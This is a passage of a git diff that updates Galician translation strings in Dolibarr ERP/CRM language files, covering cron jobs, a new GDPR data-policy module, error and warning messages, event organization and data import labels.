tarxeta de terceiros usarase só para a contabilidade d a conta maior. Esta usarase para o libro maior e como valor predeterminado da contabilidade de maior se non se define unha conta de contas de provedores adicada a terceiros. ConfirmCloneTax=Confirmar a clonación dunha taxa social/fiscal ConfirmCloneVAT=Confirmar a clonación dunha liquidación de IVE @@ -300,3 +302,4 @@ InvoiceToPay15Days=A pagar (15 a 30 días) InvoiceToPay30Days=A pagar (>30 días) ConfirmPreselectAccount=Preselección da conta contable ConfirmPreselectAccountQuestion=Está certo de querer preseleccionar as %s liñas seleccionadas con esta conta contable? +AmountPaidMustMatchAmountOfDownPayment=O importe abonado debe coincidir co importe do pago inicial diff --git a/htdocs/langs/gl_ES/contracts.lang b/htdocs/langs/gl_ES/contracts.lang index 86f09659f3f..8f018d5c5a7 100644 --- a/htdocs/langs/gl_ES/contracts.lang +++ b/htdocs/langs/gl_ES/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contratos/Subscricións ContractsAndLine=Contratos e liñas de contratos Contract=Contrato ContractLine=Liña de contrato +ContractLines=Liñas de contrato Closing=Pechando NoContracts=Sen contratos MenuServices=Servizos @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=¿Está certo de querer eliminar esta líña do contra MoveToAnotherContract=Mover o servizo a outro contrato deste terceiro. ConfirmMoveToAnotherContract=Escollin o contrato e confirmo o cambio de servizo no presente contrato. ConfirmMoveToAnotherContractQuestion=Escolla calquera outro contrato do mesmo terceiro, ¿desexa mover este servizo? -PaymentRenewContractId=Renovación servizo (número %s) +PaymentRenewContractId=Renovar contrato %s (servizo %s) ExpiredSince=Expirado dende o NoExpiredServices=Sen servizos activos expirados ListOfServicesToExpireWithDuration=Listaxe de servizos activos a expirar en %s días @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Contacto cliente asinante do contrato HideClosedServiceByDefault=Ocultar servizos pechados por defecto ShowClosedServices=Amosar servizos pechados HideClosedServices=Ocultar servizos pechados +UserStartingService=Inicio de servizo do usuario +UserClosingService=Peche de servizo de usuarios diff --git a/htdocs/langs/gl_ES/cron.lang b/htdocs/langs/gl_ES/cron.lang index 25dd993b71c..b0dbea131be 100644 --- a/htdocs/langs/gl_ES/cron.lang +++ b/htdocs/langs/gl_ES/cron.lang @@ -26,7 +26,7 @@ CronCommand=Comando CronList=Tarefas programadas CronDelete=Eliminar tarefas programadas CronConfirmDelete=Está certo de querer eliminar esta tarefa programada? -CronExecute=Iniciar tarefa programada +CronExecute=Inicia agora CronConfirmExecute=Está certo de querer executar estas tarefas programadas agora? CronInfo=O módulo de tarefas programadas permite programar tarefas para executalas automaticamente. As tarefas tamén se poden iniciar manualmente. CronTask=Tarefa @@ -58,7 +58,7 @@ CronNote=Comentario CronFieldMandatory=Os campos %s son obrigados CronErrEndDateStartDt=A data de finalización non pode ser anterior á data de inicio StatusAtInstall=Estado da instalación do módulo -CronStatusActiveBtn=Horario +CronStatusActiveBtn=Activar a programación CronStatusInactiveBtn=Desactivar CronTaskInactive=Este traballo está desactivado (non programado) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Vaia ao menú "Home - Ferramentas d JobDisabled=Tarefa deshabilitada MakeLocalDatabaseDumpShort=Copia local da base de datos MakeLocalDatabaseDump=Cree un volcado da base de datos local. Os parámetros son: compresión ('gz' ou 'bz' ou 'none'), tipo de copia de seguridade ('mysql', 'pgsql', 'auto'), 1, 'auto' ou nome de ficheiro para construír, número de ficheiros de copia de seguridade que gardar +MakeSendLocalDatabaseDumpShort=Enviar copia de seguridade da base de datos local +MakeSendLocalDatabaseDump=Enviar copia de seguridade da base de datos local por correo electrónico. Os parámetros son: to, from, subject, message, filename (nome do ficheiro enviado), filter ('sql' só para a copia de seguridade da base de tados) +BackupIsTooLargeSend=Sentímolo, o último ficheiro de copia de seguranza é demasiado grande para enviarse por correo electrónico +CleanUnfinishedCronjobShort=Limpar o cronjob sen rematar +CleanUnfinishedCronjob=Limpar o cronjob atascado no procesamento cando o proceso xa non se está a executar WarningCronDelayed=Atención, para fins de rendemento, calquera que sexa a próxima data de execución das tarefas habilitadas, é posible que as súas tarefas se retrasen ata un máximo de %s horas antes de executalos. DATAPOLICYJob=Limpar datos e anonimizar JobXMustBeEnabled=Tarefa %s debe ser activada +EmailIfError=Correo electrónico para avisar de erros +ErrorInBatch=Erro ao executar o traballo %s + # Cron Boxes LastExecutedScheduledJob=Última tarefa programada executada NextScheduledJobExecute=Próxima tarefa programada para executar NumberScheduledJobError=Número de tarefas programadas por erro +NumberScheduledJobNeverFinished=Número de traballos programados nunca rematados diff --git a/htdocs/langs/gl_ES/datapolicy.lang b/htdocs/langs/gl_ES/datapolicy.lang new file mode 100644 index 00000000000..a2c3b60bf1f --- /dev/null +++ b/htdocs/langs/gl_ES/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Política de privacidade de datos +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Módulo para xestionar a privacidade de datos (conformidade co GDPR) + +# +# Administration page +# +datapolicySetup = Configuración da política de privacidade dos datos do módulo +Deletion = Eliminación de datos +datapolicySetupPage = Segundo as leis dos seus países (Exemplo Artigo 5 do GDPR), os datos persoais deben conservarse durante un período non superior ao necesario para os fins para os que foron recollidos, excepto para fins de arquivo.
      A eliminación farase automaticamente despois dun tempo determinado sen evento (a duración que indicará a continuación). +NB_MONTHS = %s meses +ONE_YEAR = 1 ano +NB_YEARS = %s anos +DATAPOLICY_TIERS_CLIENT = Cliente +DATAPOLICY_TIERS_PROSPECT = Cliente potencial +DATAPOLICY_TIERS_PROSPECT_CLIENT = Cliente potencial/Cliente +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nin cliente potencial/Nin cliente +DATAPOLICY_TIERS_FOURNISSEUR = Provedor +DATAPOLICY_CONTACT_CLIENT = Cliente +DATAPOLICY_CONTACT_PROSPECT = Cliente potencial +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Cliente potencial/Cliente +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nin cliente potencial/Nin cliente +DATAPOLICY_CONTACT_FOURNISSEUR = Provedor +DATAPOLICY_ADHERENT = Membro +DATAPOLICY_Tooltip_SETUP = Tipo de contacto: indique as súas opcións para cada tipo. +DATAPOLICYMail = Configuración de correos electrónicos +DATAPOLICYSUBJECTMAIL = Asunto do correo electrónico +DATAPOLICYCONTENTMAIL = Contido do correo electrónico +DATAPOLICYSUBSITUTION = Pode usar as seguintes variables no seu correo electrónico (LINKACCEPT permite crear unha ligazón rexistrando o acordo da persoa, LINKREFUSED fai posible rexistrar a negativa da persoa): +DATAPOLICYACCEPT = Mensaxe despois do acordo +DATAPOLICYREFUSE = Mensaxe despois do desacordo +SendAgreementText = Pode enviar un correo electrónico GDPR a todos os seus contactos relevantes (que aínda non recibiron un correo electrónico e para os que non rexistrase nada sobre o seu acordo GDPR). Para iso, use o seguinte botón. +SendAgreement = Enviar correos electrónicos +AllAgreementSend = Enviáronse todos os correos electrónicos +TXTLINKDATAPOLICYACCEPT = Texto para a ligazón "acordo" +TXTLINKDATAPOLICYREFUSE = Texto para a ligazón "desacordo" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: Tratamento de datos persoais +DATAPOLICY_consentement = Consentimento obtido para o tratamento de datos persoais +DATAPOLICY_opposition_traitement = Oponse ao tratamento dos seus datos persoais +DATAPOLICY_opposition_prospection = Oponse ao tratamento dos seus datos persoais con fins de prospección + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonimizar un terceiro +DATAPOLICY_POPUP_ANONYME_TEXTE = Non pode eliminar este contacto de Dolibarr porque hai elementos relacionados. De acordo co GDPR, fará que todos estes datos sexan anónimos para respectar as súas obrigas. Gustaríalle continuar? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilidade GDPR +DATAPOLICY_PORTABILITE_TITLE = Exportación de datos persoais +DATAPOLICY_PORTABILITE_CONFIRMATION = Quere exportar os datos persoais deste contacto. Está certo ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anónimo %s + +# V2 +DATAPOLICYReturn = Validación GDPR +DATAPOLICY_date = Data do acordo/desacordo GDPR +DATAPOLICY_send = Data de envío do correo electrónico do acordo +DATAPOLICYReturn = Validación GDPR +DATAPOLICY_SEND = Enviar correo electrónico GDPR +MailSent = Enviouse o correo electrónico + +# ERROR +ErrorSubjectIsRequired = Erro: é preciso o asunto do correo electrónico. Indíqueo na configuración do módulo +=Debido a un problema técnico, non puidemos rexistrar a súa elección. Pedimos desculpas por iso. Póñase en contacto connosco para enviarnos a súa elección. +NUMBER_MONTH_BEFORE_DELETION = Número de mes antes da eliminación diff --git a/htdocs/langs/gl_ES/deliveries.lang b/htdocs/langs/gl_ES/deliveries.lang index 60e8ca17833..706a81c435a 100644 --- a/htdocs/langs/gl_ES/deliveries.lang +++ b/htdocs/langs/gl_ES/deliveries.lang @@ -12,7 +12,7 @@ ValidateDeliveryReceiptConfirm=¿Está certo de querer validar esta entrega? DeleteDeliveryReceipt=Eliminar a nota de entrega DeleteDeliveryReceiptConfirm=¿Está certo de querer eliminar a nota de entrega %s? DeliveryMethod=Método de envío -TrackingNumber=Nº de seguemento +TrackingNumber=Nº de seguimento DeliveryNotValidated=Nota de recepción non validada StatusDeliveryCanceled=Anulado StatusDeliveryDraft=Borrador diff --git a/htdocs/langs/gl_ES/dict.lang b/htdocs/langs/gl_ES/dict.lang index 394dc02d94d..49f6d6a7f08 100644 --- a/htdocs/langs/gl_ES/dict.lang +++ b/htdocs/langs/gl_ES/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint-Barthélemy CountryMF=Saint-Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Señora +CivilityMMEShort=Señora CivilityMR=Señor +CivilityMRShort=Señor CivilityMLE=Señorita CivilityMTRE=Don CivilityDR=Doutor diff --git a/htdocs/langs/gl_ES/ecm.lang b/htdocs/langs/gl_ES/ecm.lang index 25e311ffcf3..00abe7259e3 100644 --- a/htdocs/langs/gl_ES/ecm.lang +++ b/htdocs/langs/gl_ES/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Directorio manual ECMSectionAuto=Directorio automático ECMSectionsManual=Árbore manual ECMSectionsAuto=Árbore automática +ECMSectionsMedias=Árbore dos medios ECMSections=Directorios ECMRoot=ECM Raiz ECMNewSection=Novo directorio @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Número de ficheiros en sub-directories ECMCreationUser=Creador ECMArea=Área MS/ECM ECMAreaDesc=O área DMS / ECM (Document Management System / Electronic Content Management) permítelle gardar, compartir e buscar rapidamente todo tipo de documentos en Dolibarr. -ECMAreaDesc2=Pode crear directorios manuais e axuntar os documentos
      Os directorios automáticos son cobertos automáticamente ao engadir un documento nunha ficha. +ECMAreaDesc2a=* Os directorios manuais pódense usar para gardar documentos non ligados a un elemento en particular. +ECMAreaDesc2b=* Os directorios automáticos énchense automaticamente ao engadir documentos desde a páxina dun elemento. +ECMAreaDesc3=* Os directorios de medios son ficheiros do subdirectorio /medias do directorio de documentos, lexibles por todos sen necesidade de rexistrarse e sen necesidade de compartir o ficheiro de forma explícita. Utilízase, por exemplo, para almacenar ficheiros de imaxe para o módulo de correo electrónico ou sitio web. ECMSectionWasRemoved=O directorio %s foi eliminado ECMSectionWasCreated=O directorio %s foi creado. ECMSearchByKeywords=Buscar por palabras clave diff --git a/htdocs/langs/gl_ES/errors.lang b/htdocs/langs/gl_ES/errors.lang index f3418ae9c7c..99ab2408dec 100644 --- a/htdocs/langs/gl_ES/errors.lang +++ b/htdocs/langs/gl_ES/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=O login %s xa existe. ErrorGroupAlreadyExists=O grupo %s xa existe. ErrorEmailAlreadyExists=O correo electrónico %s xa existe ErrorRecordNotFound=Rexistro non atopado +ErrorRecordNotFoundShort=Non atopado ErrorFailToCopyFile=Erro ao copiar o ficheiro '%s' en '%s'. ErrorFailToCopyDir=Erro ao copiar o directorio '%s' en '%s'. ErrorFailToRenameFile=Erro ao renomear o ficheiro '%s' a '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=O ficheiro de imaxe non ten un formato compatible (o seu PHP ErrorBadDateFormat=O valor '%s' ten un formato de data erroneo ErrorWrongDate=A data non correcta! ErrorFailedToWriteInDir=Erro ao escribir no directorio %s +ErrorFailedToBuildArchive=Produciuse un erro ao crear o ficheiro de arquivo %s ErrorFoundBadEmailInFile=Atopouse unha sintaxe de correo electrónico incorrecta para %s liñas no ficheiro (exemplo liña %s con correo electrónico=%s) ErrorUserCannotBeDelete=Non pode eliminarse o usuario. É posible que esté asociado a entidades do Dolibarr ErrorFieldsRequired=Algúns campos obrigatorios están baleiros @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Pregase complete o valor da listaxe de caixa de veri ErrorNoValueForRadioType=Pregase complete o valor da listaxe de radios ErrorBadFormatValueList=O valor da listaxe non pode ter máis dunha coma: %s, pero precisa polo menos unha: chave, valor ErrorFieldCanNotContainSpecialCharacters=O campo %s non debe conter caracteres especiais. -ErrorFieldCanNotContainSpecialNorUpperCharacters=O campo %s non debe conter caracteres especiais nin caracteres en maiúsculas e non pode conter só números. +ErrorFieldCanNotContainSpecialNorUpperCharacters=O campo %s non debe conter caracteres especiais, nin maiúsculas, e debe comezar cun carácter alfabético (a-z) ErrorFieldMustHaveXChar=O campo %s debe ter polo menos %s caracteres. ErrorNoAccountancyModuleLoaded=Non hai ningún módulo de contabilidade activado ErrorExportDuplicateProfil=Este nome de perfil xa existe para este conxunto de exportacións. @@ -95,9 +97,9 @@ ErrorWrongValueForField=O campo %s:'%s' non coincide coa regra %s : O valor ' %s non contén datos perigosos ' ErrorFieldValueNotIn=Campo %s:'%s' non é un valor atopado no campo %s de %s ErrorFieldRefNotIn=Campo %s:'%s' non é unha referencia %s existente +ErrorMultipleRecordFoundFromRef=Atopáronse varios rexistros ao buscar desde a ref %s . Non hai xeito de saber que identificación usar. ErrorsOnXLines=Atopáronse %s erros ErrorFileIsInfectedWithAVirus=O programa antivirus non puido validar o ficheiro (o ficheiro pode estar infectado por un virus) -ErrorSpecialCharNotAllowedForField=Non se permiten caracteres especiais para o campo %s ErrorNumRefModel=Existe unha referencia na base de datos (%s) e non é compatible con esta regra de numeración. Elimine o rexistro ou renomee a referencia para activar este módulo. ErrorQtyTooLowForThisSupplier=Cantidade insuficiente para este proveedor ou non hai prezo definido neste produto para este provedor ErrorOrdersNotCreatedQtyTooLow=Algúns pedidos non foron creados debido a unha cantidade demasiado baixa @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Os obxectos deben ter o estado "Acti ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Os obxectos deben ter o estado "Borrador" ou "Desactivado" para ser habilitados ErrorNoFieldWithAttributeShowoncombobox=Ningún campo ten a propiedade 'showoncombobox' na definición do obxecto '%s'. Non hai forma de amosar a listaxe combo. ErrorFieldRequiredForProduct=O campo '%s' é obrigado para o produto %s +AlreadyTooMuchPostOnThisIPAdress=Xa publicaches de mais neste enderezo IP. ProblemIsInSetupOfTerminal=O problema está na configuración do terminal %s. ErrorAddAtLeastOneLineFirst=Engada polo menos unha liña primeiro ErrorRecordAlreadyInAccountingDeletionNotPossible=Erro, o rexistro xa se transferiu á contabilidade, non se pode eliminar. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Erro, o parámetro %s1debe ErrorLoginDateValidity=Erro, este inicio de sesión está fóra do intervalo de datas validas ErrorValueLength=A lonxitude do campo "%s" debe ser superior a "%s" ErrorReservedKeyword=A palabra '%s' é unha palabra chave reservada +ErrorFilenameReserved=O nome de ficheiro %s non se pode usar xa que é un comando reservado e protexido. ErrorNotAvailableWithThisDistribution=Non dispoñible con esta distribución ErrorPublicInterfaceNotEnabled=Interfaz pública non activada ErrorLanguageRequiredIfPageIsTranslationOfAnother=O idioma da nova páxina debe definirse se se define como tradución doutra páxina @@ -277,8 +281,8 @@ ErrorWrongFileName=O nome do ficheiro non pode conte __SOMETHING__ nel ErrorNotInDictionaryPaymentConditions=Non está no Dicionario de Condicións de Pagamento. Modifíqueo. ErrorIsNotADraft=%s non é un borrador ErrorExecIdFailed=Non se pode executar o comando "id" -ErrorBadCharIntoLoginName=Carácter non autorizado no nome de inicio de sesión -ErrorRequestTooLarge=Erro, a solicitude é longa de mais +ErrorBadCharIntoLoginName=Carácter non autorizado no campo %s +ErrorRequestTooLarge=Erro, solicitude demasiado grande ou sesión caducada ErrorNotApproverForHoliday=No es o que aproba a baixa %s ErrorAttributeIsUsedIntoProduct=Este atributo úsase nunha ou máis variantes do produto ErrorAttributeValueIsUsedIntoProduct=Este valor de atributo úsase nunha ou máis variantes do produto @@ -291,6 +295,21 @@ ErrorAjaxRequestFailed=Produciuse un erro na solicitude ErrorThirpdartyOrMemberidIsMandatory=Terceiro ou membro da sociedade é obrigatorio ErrorFailedToWriteInTempDirectory=Produciuse un erro ao escribir no directorio temporal ErrorQuantityIsLimitedTo=A cantidade está limitada a %s +ErrorFailedToLoadThirdParty=Produciuse un erro ao atopar/cargar un terceiro desde id=%s, correo electrónico=%s, nome=%s +ErrorThisPaymentModeIsNotSepa=Este modo de pagamento non é unha conta bancaria +ErrorStripeCustomerNotFoundCreateFirst=O cliente de Stripe non está configurado para este terceiro (ou definido nun valor eliminado no lado de Stripe). Créao (ou volte engadir) primeiro. +ErrorCharPlusNotSupportedByImapForSearch=A busca IMAP non é capaz de buscar no remitente ou destinatario unha cadea que conteña o carácter + +ErrorTableNotFound=Non se atopou a táboa %s +ErrorValueForTooLow=O valor de %s é demasiado baixo +ErrorValueCantBeNull=O valor para %s non pode ser nulo +ErrorDateOfMovementLowerThanDateOfFileTransmission=A data da transacción bancaria non pode ser inferior á data de transmisión do ficheiro +ErrorTooMuchFileInForm=Hai demasiados ficheiros no formulario, o número máximo é %s ficheiro(s) +ErrorSessionInvalidatedAfterPasswordChange=A sesión foi invalidada despois do cambio de contrasinal, estado ou datas de validez. Reinicie sesión. +ErrorExistingPermission = Permiso %s para o obxecto %s +ErrorFieldExist=O valor de %s xa existe +ErrorEqualModule=Módulo non válido en %s +ErrorFieldValue=O valor para %s é incorrecto +ErrorCoherenceMenu= %s é preciso cando %s é 'esquerda' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=O seu parámetro PHP upload_max_filesize (%s) é superior ao parámetro PHP post_max_size (%s). Esta non é unha configuración consistente. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Aviso, o seu ficheiro de configuración (htdocs WarningsOnXLines=Avisos nos rexistro(s) fonte %s WarningNoDocumentModelActivated=Non se activou ningún modelo para a xeración de documentos. Escollerase un modelo por defecto ata que comprobe a configuración do seu módulo. WarningLockFileDoesNotExists=Aviso, unha vez rematada a configuración, debe desactivar as ferramentas de instalación/migración engadindo un ficheiro install.lock ao directorio %s2. Omitir a creación deste ficheiro é un grave risco de seguridade. -WarningUntilDirRemoved=Todos os avisos de seguridade (visibles só polos administradores) permanecerán activos mentres a vulnerabilidade estexa presente (ou se engada esa constante MAIN_REMOVE_INSTALL_WARNING en Configuración-> Outra configuración). +WarningUntilDirRemoved=Este aviso de seguranza permanecerá activo mentres exista a vulnerabilidade. WarningCloseAlways=Aviso, o peche faise aínda que a cantidade difire entre os elementos de orixe e de destino. Active esta función con precaución. WarningUsingThisBoxSlowDown=Aviso, usando este panel ralentiza seriamente todas as páxinas que amosan o panel. WarningClickToDialUserSetupNotComplete=A configuración da información ClickToDial para o seu usuario non está completa (consulte a lapela ClickToDial na súa tarxeta de usuario). @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=A data de pagamento (%s) é anterior á d WarningTooManyDataPleaseUseMoreFilters=Datos de mais (máis de %s liñas). Utilice máis filtros ou estableza a constante %s nun límite máis alto. WarningSomeLinesWithNullHourlyRate=Algunhas veces algúns usuarios rexistráronse mentres a súa tarifa por hora non estaba definida. Utilizouse un valor do 0 %s por hora, pero isto pode resultar nunha avaliación incorrecta do tempo empregado. WarningYourLoginWasModifiedPleaseLogin=Modificouse o seu inicio de sesión. Por motivos de seguridade, terá que iniciar sesión co novo inicio de sesión antes da seguinte acción. +WarningYourPasswordWasModifiedPleaseLogin=O seu contrasinal foi modificado. Por motivos de seguridade, terá que iniciar sesión agora co seu novo contrasinal. WarningAnEntryAlreadyExistForTransKey=Xa existe unha entrada para a clave de tradución para este idioma WarningNumberOfRecipientIsRestrictedInMassAction=Aviso, o número de destinatarios diferentes está limitado a %s cando se usan as accións masivas nas listaxes WarningDateOfLineMustBeInExpenseReportRange=Aviso, a data da liña non está no rango do informe de gastos @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=Dispoñible só se usa conexión segura HTTP WarningModuleXDisabledSoYouMayMissEventHere=Non foi activado o módulo %s . Pode que perda moitos eventos aquí WarningPaypalPaymentNotCompatibleWithStrict=O valor "Estricto" fai que as funcións de pago en liña non funcionen correctamente. Use "Laxo" no seu lugar. WarningThemeForcedTo=Aviso, o tema foi forzado a %s pola constante oculta MAIN_FORCETHEME +WarningPagesWillBeDeleted=Aviso, isto tamén eliminará todas as páxinas/contedores existentes do sitio web. Debería exportar o seu sitio web antes, para ter unha copia de seguridade e poder importalo de novo máis tarde. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=A validación automática está desactivada cando a opción para diminuír o stock está definida en "Validación de facturas". +WarningModuleNeedRefrech = Desactivouse o módulo %s . Non esqueza activalo # Validate RequireValidValue = Valor non válido diff --git a/htdocs/langs/gl_ES/eventorganization.lang b/htdocs/langs/gl_ES/eventorganization.lang index 76e3f4b916a..348a6227083 100644 --- a/htdocs/langs/gl_ES/eventorganization.lang +++ b/htdocs/langs/gl_ES/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = No formulario para crear/engadir un asi # Object # EventOrganizationConfOrBooth= Conferencia ou Stand +EventOrganizationConfOrBoothes=Conferencias ou Stands ManageOrganizeEvent = Xestionar a organización dun evento ConferenceOrBooth = Conferencia ou Stand ConferenceOrBoothTab = Conferencia ou Stand @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Aquí pode votar por unha conferencia ou suxeri EvntOrgRegistrationConfHelpMessage = Aquí pode suxerir unha nova conferencia para animar durante o evento. EvntOrgRegistrationBoothHelpMessage = Aquí pode solicitar un stand durante o evento. ListOfSuggestedConferences = Listaxe de conferencias suxeridas -ListOfSuggestedBooths = Listaxe de stands suxeridos -ListOfConferencesOrBooths=Listaxe de conferencias ou stands do evento +ListOfSuggestedBooths=Stands suxeridos +ListOfConferencesOrBooths=Conferencias ou stands de eventos do proxecto SuggestConference = Suxerir unha nova conferencia SuggestBooth = Suxerir un stand ViewAndVote = Ver e votar por eventos suxeridos PublicAttendeeSubscriptionGlobalPage = Ligazón pública para a inscrición ao evento PublicAttendeeSubscriptionPage = Ligazón pública para a inscrición só neste evento MissingOrBadSecureKey = A clave de seguridade non é válida ou inexistente -EvntOrgWelcomeMessage = Este formulario permítelle rexistrarse como novo participante no evento: %s +EvntOrgWelcomeMessage = Este formulario permítelle rexistrarse como novo participante no evento EvntOrgDuration = Esta conferencia comeza en %s e remata en %s. ConferenceAttendeeFee = Importe de asistente á conferencia para o evento:' %s ' acontece de %s a %s BoothLocationFee = Localización do stand para o evento: "%s" que acontece do %s ao %s @@ -132,7 +133,7 @@ LabelOfconference=Etiqueta de conferencia ConferenceIsNotConfirmed=Rexistro non dispoñible, a conferencia aínda non está confirmada DateMustBeBeforeThan=%s debe ser antes de %s DateMustBeAfterThan=%s debe ser despois de %s - +MaxNbOfAttendeesReached=Alcanzouse o número máximo de participantes NewSubscription=Rexistro OrganizationEventConfRequestWasReceived=A súa suxestión para unha conferencia foi recibida OrganizationEventBoothRequestWasReceived=A súa solicitude para un stand foi recibida @@ -157,7 +158,7 @@ VoteOk = O seu voto foi aceptado AlreadyVoted = Xa votou para este evento VoteError = Produciuse un erro durante a votación, ténteo de novo. -SubscriptionOk = A súa inscrición foi validada +SubscriptionOk=O seu rexistro foi gravado ConfAttendeeSubscriptionConfirmation = Confirmación da súa subscrición ao evento Attendee = Asistente PaymentConferenceAttendee = Pagamento de asistente á conferencia @@ -165,8 +166,11 @@ PaymentBoothLocation = Pagamento da localización do stand DeleteConferenceOrBoothAttendee=Eliminar asistente RegistrationAndPaymentWereAlreadyRecorder=Xa se rexistrou unha inscrición e un pagamento para este correo electrónico %s EmailAttendee=Correo electrónico do asistente +EmailCompany=Correo electrónico da empresa EmailCompanyForInvoice=Correo electrónico da empresa (para factura, se é diferente do correo electrónico do participante) ErrorSeveralCompaniesWithEmailContactUs=Atopáronse varias empresas con este correo electrónico polo que non podemos validar automaticamente a súa inscrición. Póñase en contacto connosco en %s para unha validación manual ErrorSeveralCompaniesWithNameContactUs=Atopáronse varias empresas con este nome polo que non podemos validar automaticamente a súa inscrición. Póñase en contacto connosco en %s para unha validación manual NoPublicActionsAllowedForThisEvent=Non hai accións públicas abertas ao público para este evento MaxNbOfAttendees=Número máximo de asistentes +DateStartEvent=Data de inicio do evento +DateEndEvent=Data de finalización do evento diff --git a/htdocs/langs/gl_ES/exports.lang b/htdocs/langs/gl_ES/exports.lang index a64d13d7010..24e473286a0 100644 --- a/htdocs/langs/gl_ES/exports.lang +++ b/htdocs/langs/gl_ES/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Campos exportables ExportedFields=Campos a exportar ImportModelName=Nome do perfil de importación ImportModelSaved=Perfil de importación gardado baixo o nome %s. +ImportProfile=Importar perfil DatasetToExport=Conxunto de datos a exportar DatasetToImport=Lote de datos a importar ChooseFieldsOrdersAndTitle=Escolla a orde dos campos... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=Tipo de liña (0=producto, 1=servizo) FileWithDataToImport=Ficheiro cos datos a importar FileToImport=Ficheiro orixe a importar FileMustHaveOneOfFollowingFormat=O ficheiro de importación debe conter un dos seguintes formatos +DownloadEmptyExampleShort=Descargar un ficheiro de mostra DownloadEmptyExample=Descargue un ficheiro de modelo con exemplos e información sobre campos que pode importar StarAreMandatory=No ficheiro de modelo, todos os campos cun * son campos obrigatorios ChooseFormatOfFileToImport=Escolla o formato de ficheiro que desexa importar e prema na imaxe %s para seleccionalo... @@ -82,7 +84,7 @@ SelectFormat=Seleccione este formato de ficheiro de importación RunImportFile=Lanzar a importación NowClickToRunTheImport=Comprobe os resultados da simulación. Se todo foi bien, inicie a importación definitiva. DataLoadedWithId=Todos os datos foron cargados co seguinte id de importación: %s -ErrorMissingMandatoryValue=Dato obrigatorio no indicado no ficheiro fonte, campo número %s. +ErrorMissingMandatoryValue=Os datos obrigatorios están baleiros no ficheiro fonte na columna %s . TooMuchErrors=Ainda existen %s liñas con erro, pero sa súa visualización foi limitada. TooMuchWarnings=Aínda existen %s liñas con warnings, pero a súa visualización foi limitada. EmptyLine=Liña en branco @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Pode atopar os rexistros desta importación na sú NbOfLinesOK=Número de liñas sen erros nin warnings: %s. NbOfLinesImported=Número de liñas correctamente importadas: %s. DataComeFromNoWhere=O valor a insertar non corresponde a ningún campo do ficheiro orixe. -DataComeFromFileFieldNb=O valor a insertar correspondese ao campo número %s do ficheiro orixe. -DataComeFromIdFoundFromRef=O valor que provén do campo número %s do ficheiro fonte usarase para atopar o id do obxecto principal que se vai usar (polo que o obxecto %s que ten a ref. a partir do ficheiro fonte debe existir na base de datos). -DataComeFromIdFoundFromCodeId=O código que provén do campo número %s do ficheiro fonte usarase para atopar o id do obxecto principal que se vai usar (polo que o código do ficheiro fonte debe existir no dicionario %s). Teña conta que se coñece o id, tamén pode usalo no ficheiro fonte no canto do código. A importación debería funcionar nos dous casos. +DataComeFromFileFieldNb=O valor a inserir provén da columna %s no ficheiro fonte. +DataComeFromIdFoundFromRef=O valor que provén do ficheiro de orixe empregarase para atopar o identificador do obxecto pai a usar (polo que o obxecto %s que ten a referencia do ficheiro fonte debe existir na base de datos). +DataComeFromIdFoundFromCodeId=O valor do código que provén do ficheiro fonte utilizarase para atopar o ID do obxecto principal que se vai utilizar (polo que o código do ficheiro fonte debe existir no dicionario %s ). Teña en conta que se coñece o ID, tamén pode usalo no ficheiro fonte en lugar do código. A importación debería funcionar en ambos casos. DataIsInsertedInto=Os datos procedentes do ficheiro fonte engádense no seguinte campo: DataIDSourceIsInsertedInto=O id do obxecto pai, que atopouse usando os datos do ficheiro orixe, inserirase no seguinte campo: DataCodeIDSourceIsInsertedInto=O id da liña pai, que atopouse a partir do código, inserirase no seguinte campo: @@ -132,9 +134,14 @@ FormatControlRule=Regra formato de control ## imports updates KeysToUseForUpdates=Clave a usar para actualizar datos NbInsert=Número de liñas engadidas: %s +NbInsertSim=Número de liñas que se inserirán: %s NbUpdate=Número de liñas actualizadas: %s +NbUpdateSim=Número de liñas que se actualizarán: %s MultipleRecordFoundWithTheseFilters=Atopáronse varios rexistros con estes filtros: %s StocksWithBatch=Existencias e localización (almacén) de 